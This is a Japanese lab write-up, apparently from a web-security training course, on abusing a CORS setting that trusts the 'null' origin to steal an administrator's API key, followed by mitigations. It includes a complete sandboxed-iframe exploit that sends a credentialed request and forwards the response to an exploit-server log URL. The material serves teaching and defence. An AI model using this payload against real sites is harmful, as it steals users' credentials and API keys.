Hello there, ('ω')ノ
💡 このラボの目的
このラボでは、CORS設定が誤って "null" オリジンを信頼しているケースを利用し、管理者のAPIキーを盗む手法を学びます。
🔍 脆弱性の概要
多くのWebサイトでは、開発効率のためにCORSを使ってクロスドメイン通信を許可していますが、以下のような誤った設定がしばしば見られます。
Origin: null
を 信頼済みオリジンとして許可しているAccess-Control-Allow-Origin: null
を返し、Access-Control-Allow-Credentials: true
を付けてしまう
これにより、null
オリジンを利用したiframe経由の攻撃が成立します。
🛠 攻撃手順まとめ
① 自分のアカウントで確認
- ラボにログインし、
My account
ページにアクセス - Burpで通信を確認し、
/accountDetails
がAJAXでAPIキーを返していることを確認
② CORS動作を確認
/accountDetails
のリクエストにOrigin: null
を追加して送信- レスポンスで
Access-Control-Allow-Origin: null
が返っていれば脆弱性あり!
③ Exploit用コードを作成
Exploitサーバに以下のコードをアップロードします(YOUR-LAB-IDとYOUR-EXPLOIT-SERVER-IDは適宜置き換えてください):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('GET','https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true); req.withCredentials = true; req.send(); function reqListener() { location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; </script>"> </iframe>
④ 検証と送信
- 「View exploit」で自分のAPIキーが盗まれるか確認
- 「Deliver exploit to victim」で管理者にエクスプロイトを配信
- 「Access log」から管理者のAPIキーを取得し、提出してラボを完了
✅ 攻撃成功のポイント
sandbox
属性により、iframe内のJSはOrigin: null
扱いになりますwithCredentials: true
でCookie付きのリクエストを送信可能- サーバが
null
オリジンを信頼してしまっているため、認証情報が漏洩します
🛡 対策
Access-Control-Allow-Origin: null
を絶対に許可しないAccess-Control-Allow-Credentials: true
を設定する場合、厳格にオリジンを制限する- 必要最小限のオリジンのみをホワイトリストに登録し、ワイルドカードや文字列一致には注意
Best regards, (^^ゞ